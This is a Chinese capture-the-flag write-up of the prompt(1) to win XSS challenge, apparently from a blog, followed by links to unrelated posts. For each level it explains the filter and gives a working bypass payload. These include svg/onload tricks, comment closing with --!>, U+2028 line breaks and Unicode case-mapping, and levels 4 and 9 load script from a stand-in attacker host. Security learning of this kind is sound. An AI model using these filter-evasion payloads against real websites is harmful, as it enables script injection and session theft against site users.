前言

XSS 漏洞原理非常简单,实际应用中非常灵活,于是通过 prompt(1) to win 来学习学习

正文

工具

分析正则表达式
https://regex101.com/
http://xssor.io/
https://html5sec.org/

第0关

"><script>prompt(1)</script>\\

第1关

正则过滤 <> 包含的字符,所以需要不使用 >payload

<style/onload="prompt(1)";//
<img/src=% onerror=prompt(1)//

过滤了=( , 而我们执行 prompt(1) 是需要  ( ,这里有一个知识点,浏览器会 <svg> 标签的中的元素认为是 xml 元素,会对其中的内容进行 html 实体解码。

<svg><script>prompt(1)</script>

或者使用 eval.call 执行 js 代码,函数参数为 js 字符串,所以可以使用 16进制编码。

<script>eval.call`${'prompt\u00281)'}`</script>

第3关

我们的输入被放置在注释里面,于是想办法闭合注释,不过 -> 被过滤,有一个知识点,--!> 也可以闭合注释

--!><svg/onload=prompt(1)

第4关

输入被做为 加载 js 资源的 url, 同时要以 http://prompt.ml/ 开头,于是可以使用 http://prompt.ml%2f@attack.com 加载远程攻击者的 js.( 先url解码才匹配,所以 / ---> %2f

第5关

> , on***=, focus 过滤掉了, 我们的能力就是可以修改 input 标签的属性值,由于 focus 被过滤,利用 onfocusautofocus 组合的方式也不能利用了。

知识点介绍

  • 如果出现两个相同的属性值,后面的属性值被忽略。
  • .+? 正则不会跨行匹配,但是 浏览器 可以 跨行匹配,比如 onerror\n= 正则匹配不上,但是 浏览器 可以正常处理

于是 payload

" type="image" src=# onerror
="prompt(1)

第6关

用我们的输入构造了一个 form 表单,然后自动提交。

我们可以控制的东西有

  • action 的值
  • inputvaluename

如果没有下面的 !/script:|data:/i.test(document.forms[0].action) , 我们可以直接设置 actionjavascript:prompt(1) 或者 vbscript:prompt(1)

知识点:

document.forms[0].action

获取属性值时,如果子标签内有 name="action" 的子标签的话,会返回该子标签。 也可以说 document.forms[0].action 先回去找 该标签内部name="action" 的子标签, 如果有返回全部满足条件的子标签,如果没有则返回 该标签的 action 属性值。

所以绕过方式就是,先设置 form.action=javascript:prompt(1), 然后form 标签内构造一个 name="action" 的子标签。

javascript:prompt(1)#{"action":"sss"}

第7关

把我们的输入用 # 分割, 用每一项来新建一个 <p>标签, 项的值作为 <p>标签的 title 属性值,唯一的限制每一项长度最长为 12 个字符

解决方法是利用 javascript 的注释符 /**/javascript 语法的松散性。

"><script>/*#*/prompt(/*#*/1)/*#*/</script>

生成的 html

<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/prompt(/*"></p>
<p class="comment" title="*/1)/*"></p>
<p class="comment" title="*/</script>"></p>

简化后的有效 payload

<script>/*...*/prompt(/*...*/1)/*...*/</script>

或者

"><svg/a=#"onload='/*#*/prompt(1)'

生成的 html

<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>

第8关

输入位于一个被注释了的 console.log 函数参数里面, 第一步自然是绕过注释,// 是单行注释,所以只要用换行符进入下一行即可,问题就是 \r\n 被过滤。

知识点

javascript 还支持 unicode 的换行符

U+2028 http://codepoints.net/U+2028
U+2029 http://codepoints.net/U+2029

chromefirefox--> 可以作为 javascript 的注释符,不过最新的 chrome 貌似没用

[U+2028]prompt(1)[U+2028]-->

可以用 python 或者 console.log 输出 unicode 字符

把结果复制,然后粘贴即可,在 010editor 下看看 16 进制

这个 3f 应该就是 [U+2028]

第9关

过滤了标签的开头,字符全部转大写。

这里需要知道,unicode 码包含了许多国家的语言文字,有一些语言的字母调用 Upper 函数进行大写,由于没有对应的大写文字,会自动的转换为英文字母,而在 url 中,协议和域名是不区分大小写的这时,我们就可以进行利用了。

首先,我们可以在控制台写一个循环来查找 Upper 之后是S 的字符。

for (i=0;i<=100000;i++){
if (String.fromCharCode(i).toUpperCase()=="S"){
console.log(i)
console.log(String.fromCharCode(i))
}
}

最后的 payload

<ſvg><ſcript/href=attack.com>

第10关

首先替换 promptalert ,后面又 清除了 ' , 这种 前过滤 后 清除 的做法,可以用来绕过前面的过滤.

pro'mpt(1)

第11关

过滤之后,进入 <script> 作为赋值字符串的一部分。

有一个知识点,在脚本环境中,"string"(alert(1)) 不会报错,且会正确执行,而为了使语法正确,使用 in 关键字

"(prompt(1))in"

第12关

10 关的一个改进,先过滤然后才清除。

javascript 中可以 使用 parseInt 把字符串转成数字,然后用 (num).toString 转成字符串, 同时还有一个有意思的点,用 eval 执行 function_name 返回值就是该函数的对象。于是

eval((630038579).toString(30))(1)

参考

https://lorexxar.cn/2015/07/02/xss-p/

https://hellohxk.com/blog/prompt-1-writeup/

http://blog.csdn.net/Ni9htMar3/article/details/77938899

https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml

XSS学习(未完..)的更多相关文章

  1. springcloud-netflix组件学习-未完待续!!!

    SpringCloud学习 Spring Cloud是什么鬼? Spring Cloud是一系列框架的有序集合.它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现 ...

  2. java 虚拟机学习--未完

    1.学习了解GC垃圾回收 参考:https://www.ibm.com/developerworks/cn/java/l-JavaMemoryLeak2/ 2.类加载机制 http://blog.cs ...

  3. 浅析Oracle PL/SQL 学习--未完待续

    这是一篇关于Oracle Pl/SQL数据库编程的课程学习分享... 首先说明几点: 学习这门课程之前,已经学过并且掌握一些基础的SQL语句.数据库结构分析.ER图设计等知识: 这里也只是较为大概地将 ...

  4. Android学习(未完)

    Android四大组件1.Activity活动活动Activity是一种可以包含用户界面的组件,主要用于和用户进行交互活动之间使用intent进行通信,激活组件,分为1.显式intent2.隐式int ...

  5. 【tomcat】sessionId学习(未完待续)

    这里主要研究tomcat中session的管理方式以及sessionId的原理,下文将研究sessionid存到redis中以及基于redis实现session共享. 平时也就是了解session是基 ...

  6. 可持久化Treap(fhq Treap,非旋转式Treap)学习(未完待续)

    简介:     Treap,一种表现优异的BST 优势:     其较于AVL.红黑树实现简单,浅显易懂     较于Splay常数小,通常用于树套BST表现远远优于Splay     或许有人想说S ...

  7. jmeter 工具学习 未完待续

    about Apache JMeter是Apache组织的开源项目,是 一个纯Java桌面应用,用于压力测试和性能测试,它最初被设计用于 web应用测试,后来逐渐的扩展到其他领域 jmeter可以用于 ...

  8. Go web编程学习笔记——未完待续

    1. 1).GOPATH设置 先设置自己的GOPATH,可以在本机中运行$PATH进行查看: userdeMacBook-Pro:~ user$ $GOPATH -bash: /Users/user/ ...

  9. Java开发中的23+2种设计模式学习个人笔记(未完待续)

    注:个人笔记 一.设计模式分三大类: 创建型模式,共五种:工厂方法模式.抽象工厂模式.单例模式.建造者模式.原型模式. 结构型模式,共七种:适配器模式.装饰器模式.代理模式.外观模式.桥接模式.组合模 ...

随机推荐

  1. Swift的Guard语句

    与if语句相同的是,guard也是基于一个表达式的布尔值去判断一段代码是否该被执行.与if语句不同的是,guard只有在条件不满足的时候才会执行这段代码.你可以把guard近似的看做是Assert,但 ...

  2. 02--STL算法(函数对象和谓词)

    一:函数对象(仿函数):实现状态记录等其他操作<相对于普通函数> 重载函数调用操作符的类,其对象常称为函数对象(function object),即它们是行为类似函数的对象. 即是重载了“ ...

  3. Java之集合(二十)LinkedBlockingQueue

    转载请注明源出处:http://www.cnblogs.com/lighten/p/7503678.html 1.前言 本章介绍阻塞队列LinkedBlockingQueue,这是一个基于链表的可选长 ...

  4. Spring Boot的listener简单使用

    监听器(Listener)的注册方法和 Servlet 一样,有两种方式:代码注册或者注解注册 1.代码注册方式 通过代码方式注入过滤器 @Bean     public ServletListene ...

  5. C#设计模式系列目录

    http://www.cnblogs.com/libingql/archive/2012/04/16/2451608.html 抽空,学习,加强!

  6. Adobe CC Family 2015 Master 或 Adobe CC Family 2017 Master的安装步骤(图文详解)

    不多说,直接上干货!   你还在为安装PS烦恼吗?你还在为制作视频软件寻找烦恼吗?..... 前言 现在,已经出来了 简单了解, Adobe Acrobat的百度百科: http://baike.ba ...

  7. java.lang.ArithmeticException: Rounding necessary

    这个错误就是精度丢失问题 https://blog.csdn.net/qq496013218/article/details/70792655

  8. httpClient 超时时间设置(转)

    尊重博主原创,特贴博客链接.copy下来只怕以后链接失效或删掉. 转自:http://blog.csdn.net/hi_kevin/article/details/32316171 HttpClien ...

  9. 【设计模式】观察者模式 Observer Pattern

    定义:观察者模式定义了对象之间的一对多依赖.当“主题”(Object)状态改变事,所有依赖它的“观察者”(Observer)都会受到通知并自动更新.主题支持观察者订阅和退订. 观察者模式提供了一种对象 ...

  10. [IMX6]Android6.0移植和分析

    0. 知识点 中断(设备树) [IMX6]设备树分析--dts 1. 编译 Android6.0内核移植(1):分析编译日志 Android6.0内核移植(2):kernel编译内核 单独烧录kern ...